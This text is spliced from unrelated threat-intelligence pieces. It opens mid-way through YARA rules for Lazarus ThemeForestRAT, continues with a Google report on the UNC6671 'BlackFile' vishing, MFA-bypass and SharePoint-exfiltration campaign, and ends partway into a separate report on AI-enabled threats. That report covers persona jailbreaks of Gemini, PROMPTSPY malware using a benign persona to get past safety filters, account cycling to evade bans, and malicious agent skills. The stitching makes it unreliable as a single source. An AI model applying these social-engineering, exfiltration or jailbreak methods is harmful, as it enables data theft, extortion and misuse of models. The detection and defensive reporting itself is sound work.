  strings:
    $mov_1  = { C7 [1-3] 00 01 02 03 }
    $mov_2  = { C7 [1-3] 04 05 06 07 }
    $mov_3  = { C7 [1-3] 08 09 0A 0B }
    $mov_4  = { C7 [1-3] 0C 0D 0E 0F }
    $init_1 = { 41 8D ?? FD 41 8D ?? F9 }

  condition:
    all of them
}

rule Lazarus_ThemeForestRAT_C2_strings {
  meta:
    description = "ThemeForestRAT strings used for C2."
    author      = "Fox-IT / NCC Group"

  strings:
    $themeforest = "ThemeForest_%s" ascii wide
    $thumb       = "Thumb_%s" ascii wide
    $param_code  = "code" ascii wide
    $param_fn    = "fn" ascii wide
    $param_ldf   = "ldf" ascii wide

  condition:
    all of them
}

rule Lazarus_ThemeForestRAT_RC4_key {
  meta:
    description = "ThemeForest RC4 key used for config file."
    author      = "Fox-IT / NCC Group"

  strings:
    $rc4_key     = { 20 1A 19 2D 83 8F 48 53 E3 00 }
    $rc4_key_mov = { 20 1A 19 2D [2-8] 83 8F 48 53 [2-10] E3 00 }

  condition:
    any of them
}

Written by: Austin Larsen, Tyler McLellan, Genevieve Stark, Dan Ebreo

Introduction 

Google Threat Intelligence Group (GTIG) has continued to track an expansive extortion campaign by UNC6671, a threat actor operating under the "BlackFile" brand, that targets organizations via sophisticated voice phishing (vishing) and single sign-on (SSO) compromise. By leveraging adversary-in-the-middle (AiTM) techniques to bypass traditional perimeter defenses and multi-factor authentication (MFA), UNC6671 gains deep access to cloud environments. The group primarily targets Microsoft 365 and Okta infrastructure, leveraging Python and PowerShell scripts to programmatically exfiltrate sensitive corporate data for subsequent extortion attempts. This post details UNC6671’s attack lifecycle and provides defenders with actionable guidance to detect and mitigate these identity-centric threats.

Since emerging in early 2026, UNC6671 has maintained a high operational cadence. GTIG assesses that the group has targeted dozens of organizations across North America, Australia, and the UK.

GTIG previously highlighted UNC6671 as a distinct cluster in a prior report detailing similar SaaS data-theft techniques utilized by ShinyHunters (UNC6240). While UNC6671 has co-opted the ShinyHunters brand in at least one instance to inject artificial credibility into their threats, GTIG assesses that the operations are independent. This distinction is supported by UNC6671's use of separate TOX communication channels, unique domain registration patterns, and the launch of a dedicated "BlackFile" data leak site (DLS).

These compromises are not the result of a security vulnerability in vendor products or infrastructure. Instead, this campaign continues to highlight the effectiveness of social engineering and underscores the critical importance of organizations moving toward phishing-resistant MFA to protect their SaaS and identity platforms.

Initial Access

UNC6671 initial access operations rely on high-volume voice phishing (vishing), often characterized by meticulous social engineering tactics, synchronized with real-time credential harvesting. These vishing calls are typically made by "callers" hired by the threat actor. 

IT Deployment Pretext

The callers often call targeted employees' personal cellular phones to bypass security tooling and move the victim away from standard support channels. They typically masquerade as internal IT or help desk personnel, citing a mandatory migration to passkeys or a required multi-factor authentication (MFA) update. This pretext justifies directing the victim to a credential harvesting site and provides a logical cover for any subsequent security alerts generated during the compromise. UNC6671 has shifted from unique, organization-tailored credential harvesting domains to a subdomain-based model. These domains are typically registered with Tucows. Recent campaigns have used subdomains explicitly referencing "passkey" or "enrollment" themes to enhance the legitimacy of the help desk pretext.

• <organization>.enrollms[.]com
• <organization>.passkeyms[.]com
• <organization>.setupsso[.]com

Real-Time MFA Interception

The vishing call functions as a live adversary-in-the-middle (AitM) attack. The process follows a rapid, procedural lifecycle:

• Redirection: The victim is directed to a lookalike subdomain mirroring the organization's single sign-on (SSO) portal.

• Credential Capture: As the victim inputs their username and password, the threat actor captures these in real-time and immediately submits them to the legitimate SSO provider.

• MFA Bypass: When the legitimate portal issues an MFA challenge (Push, SMS, or TOTP), the victim—believing they are completing a setup step—provides the code or approval to the threat actor.

• Device Registration: Upon gaining access, the threat actor immediately navigates to the user's security settings to register a new, attacker-controlled MFA device to ensure persistence.

The speed of this execution ensures the threat actor can establish a permanent foothold before the victim or the organization's Security Operations Center (SOC) can identify the anomaly.

Data Theft

Following successful authentication, UNC6671 leverages SSO access to move laterally across the victim's SaaS applications to enable data theft operations. The threat actors appear to be focused on targeting Microsoft 365 and Okta environments, using compromised accounts to access SharePoint, OneDrive, and other connected SaaS applications such as Zendesk and Salesforce. In several instances, the actors specifically queried internal search functions for string literals such as "confidential" and "SSN" to prioritize theft of perceived high-value data.

Programmatic Data Exfiltration

Upon establishing persistence, UNC6671 transitions from interactive browser-based reconnaissance to automated exfiltration. In multiple engagements, we observed the use of scripts to harvest high-value data from SharePoint and OneDrive repositories.

In addition to relying on methods that triggered standard FileDownloaded events, the threat actor has also used less conspicuous approaches. These include the threat actor’s use of formal APIs, such as Microsoft Graph, as well as  the python-requests library and PowerShell to issue direct HTTP GET requests against document resource URLs. Notably, by repurposing valid session cookies (e.g., FedAuth) captured during the initial vishing phase, the actor has been able to "stream" file content directly to attacker-controlled infrastructure.

In these cases, the request mimics a standard web client fetch rather than a formal "Download" command. As a result, the activity is frequently recorded as a FileAccessed event rather than FileDownloaded. This 'direct fetch' method naturally blends into routine traffic, which may bypass detection in many Security Operations Centers (SOCs) that prioritize FileDownloaded events and treat FileAccessed as benign.

Forensic Artifacts and Scripting

Analysis of Microsoft 365 Unified Audit Log (UAL) telemetry revealed several consistent forensic indicators of UNC6671 activity, including clear evidence of scripted exfiltration. Most notably, the threat actor frequently showed User-Agent mismatches; while they spoofed the ClientAppId for "Microsoft Office" to bypass basic conditional access filters, the recorded UserAgent strings identified scripting engines such as python-requests/2.28.1 or WindowsPowerShell/5.1. This discrepancy suggests that access was driven by automated scripts rather than human interaction with the SharePoint user interface. Additionally, these access attempts consistently originated from non-standard infrastructure, such as commercial VPN exit nodes and hosting providers.

{
  "CreationTime": "2026-02-24T14:36:15",
  "Operation": "FileDownloaded",
  "Workload": "SharePoint",
  "ClientIP": "179.43.185.226", 
  "UserId": "victim.user@organization.com",
  "UserAgent": "python-requests/2.28.1",
  "ApplicationDisplayName": "Microsoft Office",
  "IsManagedDevice": false,
  "SourceFileName": "2382_REDACTED_MSA_v3.docx",
  "SourceRelativeUrl": "Shared Documents/Legal/MasterMSA/Archive",
  "SiteUrl": "https://organization.sharepoint.com/sites/Legal_Archive/",
  "AppAccessContext": {
    "ClientAppId": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
    "ClientAppName": "Microsoft Office",
    "TokenIssuedAtTime": "1601-01-01T00:00:00"
  }
}

Figure 1: FileDownloaded event observed in early UNC6671 intrusions

{
  "CreationTime": "2026-03-18T20:06:41",
  "Operation": "FileAccessed",
  "Workload": "SharePoint",
  "UserId": "victim.user@company.com",
  "ClientIP": "179.43.185.226", 
  "UserAgent": "python-requests/2.28.1",
  "ApplicationDisplayName": "python-requests",
  "IsManagedDevice": false,
  "SourceRelativeUrl": "Shared Documents/Data Analytics/Power BI Version History",
  "SourceFileName": "Weekly Production Report.pbix",
  "SiteUrl": "https://company.sharepoint.com/sites/ProductionOps/",
  "AppAccessContext": {
    "ClientAppName": "python-requests",
    "CorrelationId": "b94b01a2-2019-c000-2262-5ff1d0ff6cc8"
  }
}

Figure 2: FileAccessed event from later UNC6671 intrusions

The speed and scale of UNC6671’s data exfiltration also reflects the automated nature of these scripts, which allows the threat actors to exfiltrate massive volumes of data at high speeds. In one case, the threat actor used their Python script from a remote IP to access and download over a million individual files from a victim's SharePoint and OneDrive environments. In another case, the threat actor rapidly iterated through tens of thousands of SharePoint file interactions.

Extortion

UNC6671 conducts highly targeted extortion campaigns, beginning with unbranded ransom notes sent from programmatically generated consumer email accounts. Once a victim engages via the unique, encrypted communication channel (such as Tox or Session) provided by the threat actor in the initial ransom note, the operators identify themselves under the "BlackFile" brand. While the operators typically open negotiations with initial demands in the millions of dollars, they often pivot to low six-figure demands when met with active engagement. Notably, while the initial emails typically do not contain errors, at least some follow up emails have contained mistakes suggesting that those are human generated.

In cases where the operator is met with silence or resistance, the group aggressively escalates pressure. During a recent incident, after the victim was unresponsive, UNC6671 pivoted to an aggressive spam campaign. Using dozens of Gmail accounts with randomly generated usernames, the threat actor flooded employee mailboxes with messages before automated restrictions kicked in based on their sending behavior and their accounts were restricted. We have also observed these threat actors sending threatening voicemails to C-suite executives and, in severe cases, utilizing swatting tactics against company personnel.

Figure 3: Generalized example initial unbranded extortion note from UNC6671

Figure 4: Generalized example follow up extortion email which included branding not present in initial messages

Evolution of Ransom Notes

Throughout their operations in early 2026, UNC6671's ransom notes exhibited an evolution in formatting, branding, and communication methods. Initially, the threat actors used highly aggressive, short-term deadlines, often giving early victims generic 24 or 48 hour windows to respond. This appeared to become more standardized in late January when they gave subsequent targets a strict 72-hour deadline. Their email subject lines also evolved into a formalized, all-caps structure: [COMPANY NAME] DATA BREACH 72 HOURS TO CONTACT US.

During this same period, the group’s identity and preferred communication channels shifted. Early extortion emails were unbranded, with the actors demanding contact via Tox (a peer-to-peer instant messaging protocol). By February 2026, the group formally adopted the "BlackFile" moniker and transitioned their communication demands exclusively to Session (a decentralized, privacy-focused messenger), providing victims with Session IDs and client download instructions. Additionally, while early extortion notes were sent from external emails that could easily be flagged by spam filters or ignored, since at least March 2026, UNC6671 has leveraged hijacked internal corporate email and Microsoft Teams accounts. 

The BlackFile Data Leak Site (DLS)

The threat actors launched the BlackFile Data Leak Site (DLS) on February 6, 2026, claiming to operate as "security researchers." Despite maintaining a dedicated DLS, the group's approach to data exposure deviates significantly from the maximum-publicity, high-noise model employed by other actors. UNC6671 does not publicly advertise their leak site or attempt to index it for search engines. Furthermore, the group has typically only leaked limited file samples and directory listings rather than full datasets; to date, GTIG has not observed the actor leak victim data in full.

Notably, the BlackFile DLS site went offline in late April 2026, but briefly came back online on May 11, 2026 to share the below message before shutting down again. In this message, the threat actor stated "BlackFile is shutting down… under this name." As of the time of publication, the DLS site is inaccessible.

Remediation and Hardening

GTIG recommends the following mitigations and hunting strategies:

• Deploy Credential Guarding: Configure environment-specific protections to catch credential submission at the point of impact. In Google Workspace, enable Password Alert to monitor for corporate password hashes being entered into unauthorized domains. For Microsoft environments, leverage Microsoft Defender's Credential Protection and SmartScreen to intercept submissions on known phishing or low-reputation sites. These automated technical controls act as a final fail-safe, triggering immediate password resets or security alerts when a user inadvertently interacts with a malicious page.

• Implement Phishing-Resistant MFA: Transition away from SMS-based or push-notification MFA. Implement FIDO2-compliant security keys or passkeys, which are resistant to the adversary-in-the-middle (AiTM) and vishing tactics employed by UNC6671.

• Monitor IdP Logs: Review identity provider logs for system.multifactor.factor.setup events that are immediately preceded by user.authentication.auth_via_mfa failures or "Abandoned" challenges.

• Correlate Infrastructure: Alert on authentication attempts originating from known commercial VPNs or hosting providers that are abnormal for the user's typical geographic location.

• Audit SaaS API Activity: Monitor Microsoft 365, SharePoint, and Salesforce audit logs for anomalous, high-volume file downloads (FileDownloaded or FileAccessed events) originating from generic scripting user agents (e.g., PowerShell, Python).

• Monitor User-Agents: Monitor for specific IdP SDK User-Agents on devices not previously associated with a user's profile.

• Re-Evaluate "Access" Severity: Security Operations Centers (SOCs) should treat FileAccessed events with the same criticality as FileDownloaded when the User-Agent identifies it as a programming library (Python, Go, etc.) or a command-line tool.

• Audit for Direct File Streaming: Monitor for FileAccessed logs where the AppAccessContext indicates a headless client or where the volume of "Accessed" files in a short window exceeds human browsing capability.

Outlook and Implications

The recent shutdown of the BlackFile data leak site (DLS) accompanied by the actors' own declaration that they are shutting down "under this name" signals a possible transition phase rather than a permanent cessation of their threat activity. Historical precedents across the extortion ecosystem demonstrate that major threat clusters commonly rebrand or disperse their operations following disruption or voluntary shutdowns. These events can serve several strategic functions: evading law enforcement or competitor scrutiny, quietly resolving pending extortion cases, or preparing to pivot to a more viable brand while simultaneously also allowing time for the threat actors to retool and/or set up new infrastructure. Even if the BlackFile brand is permanently retired, the techniques leveraged by UNC6671, specifically their focus on data theft from cloud and SaaS environments, represent a highly successful trend in the cyber crime threat landscape that we also highlighted in the Google Cloud H1 2026 Cloud Threat Horizons Report. Organizations can review our prior blog post with actionable hardening, logging, and detection recommendations to help protect against these threats.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have provided indicators of compromise (IOCs) in a free GTI Collection for registered users. At the time of publication, identified phishing domains have been added to Google Safe Browsing.

While this collection provides a comprehensive list of IOCs, defenders should note that the majority of identified IP addresses are commercial VPN nodes, and actual source IPs tend to vary as the actor continuously cycles through new infrastructure. Furthermore, the domains are often stood up and used within minutes of registration; as such, they are provided primarily as examples of past naming conventions and usage patterns rather than as a primary mechanism for real-time blocking.

Google Security Operations (SecOps)

Google SecOps customers have access to broad category rules under the Okta and O365 rule packs that detect the behaviors outlined in this report. The activity discussed in the blog post is detected in Google SecOps under the following rule names:

• Okta Admin Console Access Failure

• Okta Suspicious Actions from Anonymized IP

• O365 SharePoint Bulk File Access or Download via PowerShell

• O365 SharePoint High Volume File Access Events

• O365 Sharepoint Query for Proprietary or Privileged Information

Executive Summary

Since our February 2026 report on AI-related threat activity, Google Threat Intelligence Group (GTIG) has continued to track a maturing transition from nascent AI-enabled operations to the industrial-scale application of generative models within adversarial workflows. This report, based on insights derived from Mandiant incident response engagements, Gemini, and GTIG’s proactive research, highlights the dual nature of the current threat environment where AI serves as both a sophisticated engine for adversary operations and a high-value target for attacks. We explore the following developments:

• Vulnerability Discovery and Exploit Generation: For the first time, GTIG has identified a threat actor using a zero-day exploit that we believe was developed with AI. The criminal threat actor planned to use it in a mass exploitation event but our proactive counter discovery may have prevented its use. Threat actors associated with the People’s Republic of China (PRC) and the Democratic People's Republic of Korea (DPRK) have also demonstrated significant interest in capitalizing on AI for vulnerability discovery. 

• AI-Augmented Development for Defense Evasion: AI-driven coding has accelerated the development of infrastructure suites and polymorphic malware by adversaries. These AI-enabled development cycles facilitate defense evasion by enabling the creation of obfuscation networks and the integration of AI-generated decoy logic in malware that we have linked to suspected Russia-nexus threat actors.

• Autonomous Malware Operations: AI-enabled malware, such as PROMPTSPY, signal a shift toward autonomous attack orchestration, where models interpret system states to dynamically generate commands and manipulate victim environments. Our analysis of this malware reveals previously unreported capabilities and use cases for its integration with AI. This approach allows threat actors to offload operational tasks to AI for scaled and adaptive activity.

• AI-Augmented Research and IO: Adversaries continue to leverage AI as a high speed research assistant for attack lifecycle support, while shifting toward agentic workflows to operationalize autonomous attack frameworks. In information operations (IO) campaigns, these tools facilitate the fabrication of digital consensus by generating synthetic media and deepfake content at scale, exemplified by the pro-Russia IO campaign “Operation Overload.”

• Obfuscated LLM Access: Threat actors now pursue anonymized, premium tier access to models through professionalized middleware and automated registration pipelines to illicitly bypass usage limits. This infrastructure enables large scale misuse of services while subsidizing operations through trial abuse and programmatic account cycling.

• Supply Chain Attacks: Adversaries like "TeamPCP" (aka UNC6780) have begun targeting AI environments and software dependencies as an initial access vector. These supply chain attacks result in multiple types of machine learning (ML)-focused risks outlined in the Secure AI Framework (SAIF) taxonomy, namely Insecure Integrated Component (IIC) and Rogue Actions (RA). Our analysis of forensic data associated with these attacks reveals threats actors attempting to pivot from compromised AI software to broader network environments for initial access and to engage in disruptive activities, such as ransomware deployment and extortion.

Attackers rarely shy away from experimentation and innovation, but neither do we. In addition to  sharing our findings and mitigations with the larger security and AI community, Google employs proactive measures to stay ahead of these constantly changing threats. Google enhances our products’ safeguards to offer scaled protections to users. For Gemini, we mitigate model abuse by disabling malicious accounts. Furthermore, we leverage AI agents like Big Sleep to identify software vulnerabilities and use Gemini’s reasoning capabilities via the likes of CodeMender to automatically fix them, proving that AI can also be a powerful tool for defenders.

AI as a Tool

Threat actors are leveraging AI to augment various phases of the attack lifecycle. This includes supporting the development of vulnerability exploits and malware, facilitating autonomous execution of commands, enabling more targeted and well-researched reconnaissance, and improving the efficacy of social engineering and information operations.

AI-Augmented Vulnerability Discovery and Exploit Development

As the coding capabilities of AI models advance, we continue to observe adversaries increasingly leverage these tools as expert-level force multipliers for vulnerability research and exploit development, including for zero-day vulnerabilities. While these tools empower defensive research, they also lower the barrier for adversaries to reverse-engineer applications and develop sophisticated, AI-generated exploits.

State-Sponsored Threat Actors Demonstrate Sophisticated Approaches to Leveraging AI for Vulnerability Research

While we observe a variety of threat actors leveraging AI for vulnerability research, we noted a particular interest from several clusters of threat activity associated with the People’s Republic of China (PRC) and the Democratic People's Republic of Korea (DPRK). These actors have leveraged sophisticated approaches toward AI-augmented vulnerability discovery and exploitation, beginning with persona-driven jailbreaking attempts and the integration of specialized, high-fidelity security datasets to augment their vulnerability discovery and exploitation workflows.

• As we highlighted in prior blog posts, threat actors often leverage expert cybersecurity personas as a structured approach to prompt Gemini. For instance, we recently observed UNC2814 use this form of expert persona prompting by directing the model to act as a senior security auditor or C/C++ binary security expert. The fabricated scenarios were used to support vulnerability research into various embedded device targets, including TP-Link firmware and Odette File Transfer Protocol (OFTP) implementations.

Figure 1: Example of false narratives used to support persona-driven jailbreaking, a simple form of prompt injection

• In a more sophisticated use case, we observed threat actors experiment with a specialized vulnerability repository hosted on GitHub known as “wooyun-legacy.” The project is designed as a Claude code skill plugin that integrates a distilled knowledge base of over 85,000 real-world vulnerability cases collected by the Chinese bug bounty platform WooYun between 2010 and 2016. By priming the model with vulnerability data, it facilitates in-context learning to steer the model to approach code analysis like a seasoned expert and identify logic flaws that the base model might otherwise fail to prioritize.

In their pursuit of this vulnerability research, we see clear indications of automation and scaled research. In addition to leveraging individual prompts for real-time troubleshooting, we have observed APT45 sending thousands of repetitive prompts that recursively analyze different CVEs and validate PoC exploits. This results in a more robust arsenal of exploit capabilities that would be impractical to manage without AI assistance.

To facilitate these activities, actors are also experimenting with agentic tools such as OpenClaw and OneClaw alongside intentionally vulnerable testing environments. The use of these tools alongside vulnerability research suggests an interest in refining AI-generated payloads within controlled settings to increase exploit reliability prior to deployment.

Cyber Crime Threat Actors Discover and Weaponize Zero-Day Using AI

Cyber crime threat actors remain interested in leveraging AI for vulnerability development as well. In one notable example, we observed prominent cyber crime threat actors partnering to plan a mass vulnerability exploitation operation. Our analysis of exploits associated with this campaign identified a zero-day vulnerability implemented in a Python script that enables the user to bypass two-factor authentication (2FA) on a popular open-source, web-based system administration tool. GTIG worked with the impacted vendor to responsibly disclose this vulnerability and disrupt this threat activity.

Although we do not believe Gemini was used, based on the structure and content of these exploits, we have high confidence that the actor leveraged an AI model to support the discovery and weaponization of this vulnerability. For example, the script contains an abundance of educational docstrings, including a hallucinated CVSS score, and uses a structured, textbook Pythonic format highly characteristic of LLMs training data (e.g., detailed help menus and the clean _C ANSI color class).

The vulnerability can be classified as a 2FA bypass, though it requires valid user credentials in the first place. It stems not from common implementation errors like memory corruption or improper input sanitization, but a high-level semantic logic flaw where the developer hardcoded a trust assumption. While fuzzers and static analysis tools are optimized to detect sinks and crashes, frontier LLMs excel at identifying these types of high-level flaws and hardcoded static anomalies. Though frontier LLMs struggle to navigate complex enterprise authorization logic, they have an increasing ability to perform contextual reasoning, effectively reading the developer's intent to correlate the 2FA enforcement logic with the contradictions of its hardcoded exceptions. This capability can allow models to surface dormant logic errors that appear functionally correct to traditional scanners but are strategically broken from a security perspective.

AI-Augmented Obfuscation: Evasion and Polymorphism

GTIG has identified multiple threat actors experimenting with AI models to develop malware and operational support tools to augment obfuscation capabilities. This has included innovative applications of AI to incorporate just-in-time dynamic modification of source code, enable dynamic payload generation, assist in development of ORB network management tools, and generate decoy code (Table 1). While often experimental, this transition underscores a move toward AI-driven, evasive software suites.

In prior reports, we highlighted malware families like PROMPTFLUX, notable for its experimentation using the Gemini API to generate code, and HONESTCUE, which interacts with Gemini's API to request specific VBScript obfuscation and evasion techniques to facilitate just-in-time self-modification to evade static signature-based detection. In this report, we highlight additional tools and malware families created with the assistance of AI to support obfuscation and defense evasion.

We observed activity associated with the PRC-nexus threat actor APT27, which has leveraged Gemini to accelerate the development of a fleet management application likely to support the management of an operational relay box (ORB) network. Our observations of the tool revealed a "maxHops" parameter hardcoded to 3 hops, an indicator that the tool was related to development of an anonymization network rather than a VPN since those are typically set to 1 hop. Additionally, the tool lists MOBILE_WIFI and ROUTER as supported device types, suggesting it uses 4G or 5G SIM cards to provide residential IP addresses to potentially obfuscate the true origin of the intrusion activity. 

Additionally, GTIG has continued to observe Russia-nexus intrusion activity targeting Ukrainian organizations to deliver AI-enabled malware as part of their operations. Analysis confirms the use of CANFAIL and LONGSTREAM, which utilize LLM-generated decoy code to obfuscate their malicious functionality. 

• We identified multiple developer (i.e., the LLM) comments throughout CANFAIL's source code that specifically call out certain blocks of code that are not used and were likely incorporated as filler content designed to obfuscate malicious activity. The explanatory nature of these comments surrounding the decoy logic likely indicates the threat actor requested the LLM generate outputs that intentionally contained large amounts of inert code potentially for obfuscation (Figure 4).

• Similarly, our examination of the LONGSTREAM code family suggests a large volume of decoy logic was likely generated to camouflage the malicious nature of the code family. LONGSTREAM contains coherent but inactive blocks of code related to administrative tasks that are unrelated to the primary objective of the downloader. For example, we identified 32 instances of the code querying the system's daylight saving status. This type of repetitive query exists to populate the script with activity that can appear benign (Figure 5).

AI-Augmented Attack Orchestration: PROMPTSPY

Adversaries are advancing their implementation of AI-enabled tooling, moving beyond content generation and tool development and into more sophisticated autonomous attack orchestration for malware commands. Threat actors have begun relying on LLMs for interactive system navigation and real-time decision making. By integrating LLMs into malware operations, attackers can enable payloads to act autonomously, independently interacting with the victim environment or device, synthesizing system states, and executing precise commands devoid of human supervision.

A primary example of this evolution is PROMPTSPY, an Android backdoor first identified by ESET. Initial public reporting highlighted PROMPTSPY’s use of the Google Gemini application programming interface (API) to facilitate persistence, specifically by navigating the Android UI to pin the malicious application in the "recent apps" list. However, GTIG's examination of the backdoor revealed additional capabilities and use cases for its AI integration. We assess the malware's LLM component was designed to be extensible to support a broader range of goals centered around navigating the Android user interface and autonomously interpreting real-time user activity for follow-on actions. 

PROMPTSPY contains an autonomous agent module named “GeminiAutomationAgent,” which leverages a hardcoded prompt to facilitate automated interaction with the targeted device.

• The prompt assigns a benign persona to bypass the LLM's safety filters, then requests an analysis of complex spatial mathematics by instructing the LLM to calculate the geometry of the targeted user interface bounds. This is paired with a set of "Core Judgment Rules" that implement anti-hallucination measures and a “User Goal” concatenated to the prompt as part of a separate routine (Figure 6).

• The module then serializes the device's visible user interface hierarchy into an XML-like format via the Accessibility API, sending this payload to the “gemini-2.5-flash-lite” model via an HTTP POST request in "JSON Mode." 

• The model returns a structured JSON response based on the supplied user goal, dictating specific action types and spatial coordinates, which the malware parses using a packed-switch instruction to simulate physical gestures (e.g., CLICK, SWIPE). Since the user goal is not hardcoded in the initial prompt but supplied as part of a separate routine, we believe PROMPTSPY was likely designed to facilitate multiple types of device interactions.

Additionally, PROMPTSPY can capture victim biometric data to replay authentication gestures (personal identification numbers or lock patterns) to regain access to a compromised device for follow-on exploitation. These AI-enabled capabilities are a notable evolution from conventional Android backdoors that heavily rely on human interaction.

To maintain persistence, PROMPTSPY utilizes a novel multi-layered defense mechanism to camouflage its activity and prevent uninstallation. 

• If the victim tries to uninstall PROMPTSPY, the malware employs its 'AppProtectionDetector' module to identify the on-screen coordinates of the 'Uninstall' button. The malware renders an invisible overlay directly over the button as a shield that silently intercepts and consumes the victim's touch events, making the button appear unresponsive to the user.

• If the victim device becomes inactive, PROMPTSPY operators can utilize Firebase Cloud Messaging (FCM) to relaunch the backdoor, allowing the threat actor to continue their intrusion activity without alerting the victim. 

While PROMPTSPY initializes using hardcoded default infrastructure and credentials, the malware is designed with high operational resilience, allowing adversaries to rotate critical components at runtime without redeploying the PROMPTSPY payload. Specifically, the malware’s command-and-control (C2) infrastructure, including the Gemini API keys and the VNC relay server, can be updated dynamically via the C2 channel. This configuration model demonstrates the developers anticipated defensive countermeasures and engineered the backdoor to maintain presence even if specific infrastructure endpoints are identified and blocked by defenders.

Google has taken action against this actor by disabling the assets associated with this activity. Based on our current detection, no apps containing PROMPTSPY are found on Google Play. Android users are automatically protected against known versions of this malware by Google Play Protect, which is on by default on Android devices with Google Play Services.

AI-Augmented Research, Reconnaissance, and Attack Lifecycle Support

Malicious adversaries' most common use case for LLMs mirrors that of standard users – they conduct research and troubleshoot tasks. GTIG has observed a variety of threat actors engaging in this type of prompting to support research, reconnaissance, and troubleshooting throughout various phases of the attack lifecycle. By automating intelligence gathering and task support, these interactions lower the barrier to entry for complex, multi-stage operations and enable threat actors to focus their human capital on the higher-order strategic elements of campaigns.

Adversaries frequently use LLMs to perform reconnaissance that would previously have required significant manual effort. For instance, we have observed actors prompting models to generate detailed organizational hierarchies for specific departments and third-party relationships of large enterprises, particularly those involving high-value functions like finance, internal security, and human resources. This data allows for the creation of higher-fidelity phishing lures tailored to individuals with administrative privileges or access to sensitive data, moving beyond the commodity tactics of traditional bulk phishing.

In more targeted scenarios, actors have used LLMs to identify specific hardware or software environments used by their victims. In one instance, a threat actor attempted to identify the exact make and model of a computer used by a high-value target, even requesting the LLM identify a collection of photos showing the targeted individual using the device. This level of environmental fingerprinting often precedes the development of tailored exploits or identification of side-channel attack opportunities.

Beyond basic chat interfaces, we see a sophisticated shift toward agentic workflows where adversaries operationalize autonomous frameworks to execute multi-stage security tasks. This marks a significant evolution in the maturity of AI-related threats: the LLM is no longer merely a passive advisor but an active participant in the offensive chain, capable of orchestrating complex toolsets and making tactical decisions at machine speed.

For example, we recently analyzed a suspected PRC-nexus threat actor deploying agentic tools like Hexstrike and Strix against a Japanese technology firm and a prominent East Asian cybersecurity platform. Hexstrike was utilized alongside the Graphiti memory system, a temporal knowledge graph, to maintain a persistent state of the attack surface, allowing the agent to autonomously pivot between tools like subfinder and httpx based on its internal reasoning. Simultaneously, the actor leveraged Strix, a multi-agent penetration testing framework, to automate the identification and validation of vulnerabilities. This combination of autonomous reconnaissance and automated verification suggests a transition toward AI-driven frameworks that can scale discovery activities with minimal human oversight.

AI-Augmented Information Operations

GTIG continues to observe information operations (IO) actors use AI for common productivity tasks like research, content creation, and localization. We have also identified activity indicating threat actors solicit the tool to help craft articles, generate assets, and assist in coding. However, we have not identified this generated content in the wild, and none of these attempts have created breakthrough capabilities for IO campaigns. 

Actors from Russia, Iran, China, and Saudi Arabia are producing political satire and materials to advance specific narratives across both digital platforms and physical media, such as printed posters. The primary advances we have seen in this area include actors appearing more successful in developing tooling in support of their workflows and the growing adoption of AI-generated narrative audio to address contentious political topics. 

AI to Support IO Tactics

GTIG’s tracking of IO threats across the open internet continues to uncover activity illustrating how threat actors use AI tooling to enhance established tactics. For example, GTIG uncovered activity linked to the pro-Russia IO campaign “Operation Overload,” involving video content that leveraged suspected AI voice cloning to impersonate real journalists. This likely represents an AI-supported advancement of the campaign's established tactics, which have long included inauthentic video content designed to appropriate the branding and legitimacy of media and other high profile organizations in support of campaign messaging. 

In identified instances, the actors appear to have manipulated an authentic video to convey a false message. This content appears to splice original vertical videos with montages and fabricated audio to create false and misleading messaging. The close voice match to the original suggests the use of AI tools (Figure 7).

Obfuscated and Scalable Access to LLMs

As the generative AI landscape matures, the methods by which threat actors procure and operationalize these models have shifted from simple experimentation to industrial-scale consumption. Although in prior blog posts we have highlighted AI tools and services offered in the underground, we continue to observe both state-sponsored and cyber crime threat actors leveraging commercially available foundation models and AI-native application building platforms in their pursuit of malicious activity. 

In threat actor engagement with these tools, GTIG has observed a sophisticated evolution to an emerging ecosystem of custom middleware, proxy relays, and automated registration pipelines designed to bypass safety guardrails and billing constraints. By leveraging anti-detect browsers and account-pooling services, actors are attempting to maintain high-volume, anonymized access to premium LLM tiers, effectively industrializing their adversarial workflows while subsidizing their operations through trial abuse and programmatic account cycling.

In our analysis of PRC-nexus threat activity associated with UNC6201, we observed attempted use of a publicly available Python script hosted on GitHub that automates a workflow to register and immediately cancel premium LLM accounts. The tool allegedly supports the entire process from automatic account registration, CAPTCHA bypassing, and SMS verification to account status confirmation and cancellation. This process highlights the methods adversaries leverage to procure high-tier AI capabilities at scale while insulating their malicious activity from account bans.

We have observed similar activity from UNC5673, a PRC-nexus threat cluster that has notable overlaps with TEMP.Hex and that has targeted government sectors primarily in South and Southeast Asia. Beyond LLM account registration, the actor has leveraged an array of publicly available commercial tools and GitHub projects that indicate the development of obfuscated and scalable LLM abuse. For example, they employ "Claude-Relay-Service" to aggregate multiple Gemini, Claude, and OpenAI accounts, enabling account pooling and cost-sharing. Similarly, they use "CLI-Proxy-API," a proxy server that provides compatible API interfaces for various models to support similar account pooling strategies.

To mitigate the nature of this obfuscation, LLM providers can build signal logic to analyze network infrastructure data associated with AI-related API aggregators. This data helps to enable the disruption efforts we highlight in this report.

AI as a Target

As organizations continue integrating large language models (LLMs) into production environments, the AI software ecosystem has emerged as a primary target for exploitation. While frontier models themselves remain highly resilient to direct compromise, the orchestration layers, including open-source wrapper libraries, API connectors, and skill configuration files, can be vulnerable. GTIG has observed adversaries increasingly target the integrated components that grant AI systems their utility, such as autonomous skills and third-party data connectors.

Supply Chain Attacks Against AI Components

Throughout early 2026, we observed that threat actors have not yet achieved breakthrough capabilities to bypass the core security logic of frontier models. Instead, these actors are leveraging traditional supply chain tactics, such as embedding malicious logic in popular integration libraries or distributing trojanized configuration files, to gain initial access to production AI environments. These incidents often align with risks described in the Secure AI Framework (SAIF) taxonomy, specifically:

• Insecure Integrated Component (IIC): Inclusion of compromised external dependencies that undermine the system.

• Rogue Actions (RA): Exploitation of AI systems with elevated permissions to execute unauthorized commands or exfiltrate credentials.

Weaponized OpenClaw Skills

These risks became more apparent in early February 2026, when VirusTotal researchers reported on security risks associated with the OpenClaw AI agent ecosystem, including AI software supply chain risks and vulnerabilities introduced via malicious and insecure skill packages. Most notably, we observed the distribution of malicious packages masquerading as OpenClaw skills containing hidden routines designed to execute unauthorized code and commands on the host system. Given the elevated level of system access that OpenClaw is granted, a skill could be used to perform various privileged actions such as executing code, downloading additional payloads, and discovering and exfiltrating local data.

